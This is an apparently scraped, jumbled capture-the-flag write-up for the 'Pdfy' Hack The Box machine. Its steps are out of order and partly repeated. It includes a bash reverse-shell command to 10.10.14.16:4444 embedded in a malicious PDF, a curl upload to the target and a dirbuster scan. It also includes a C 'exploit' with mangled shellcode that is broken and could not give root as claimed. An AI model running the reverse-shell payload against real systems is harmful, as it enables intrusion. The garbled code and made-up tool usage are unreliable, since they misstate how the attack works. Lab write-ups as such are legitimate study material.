Pdfy Htb Writeup -

#include <stdio.h> #include <string.h> void exploit() { char buffer[1024]; memset(buffer, 0x90, 1024); *(char *)(buffer + 1000) = 0x31; *(char *)(buffer + 1001) = 0xc0; *(char *)(buffer + 1002) = 0x50; *(char *)(buffer + 1003) = 0x68; char *shellcode = "h//shh‰ç‰G1ÀPh-comh‰G° ̀"; memcpy(buffer + 1004, shellcode, strlen(shellcode)); printf(buffer); } int main() { exploit(); return 0; } We compile the exploit code and execute it to gain root access.

pdfmake -f malicious.pdf -c "bash -i >& /dev/tcp/10.10.14.16/4444 0>&1" Once we upload the malicious PDF file to the server, we receive a reverse shell. Pdfy Htb Writeup

Pdfy HTB Writeup: A Step-by-Step Guide** #include &lt;stdio

curl -X POST -F "file=@malicious.pdf" http://10.10.11.231/uploads/ After uploading the malicious PDF file, we notice that the server is executing arbitrary commands. We can use this vulnerability to gain a foothold on the box. We can use this vulnerability to gain a foothold on the box

dirbuster -u http://10.10.11.231/ -o dirbuster_output The DirBuster scan reveals a /uploads directory, which seems like a good place to start. We can use tools like Burp Suite to send a malicious PDF file to the server and see if it is vulnerable to a file upload exploit.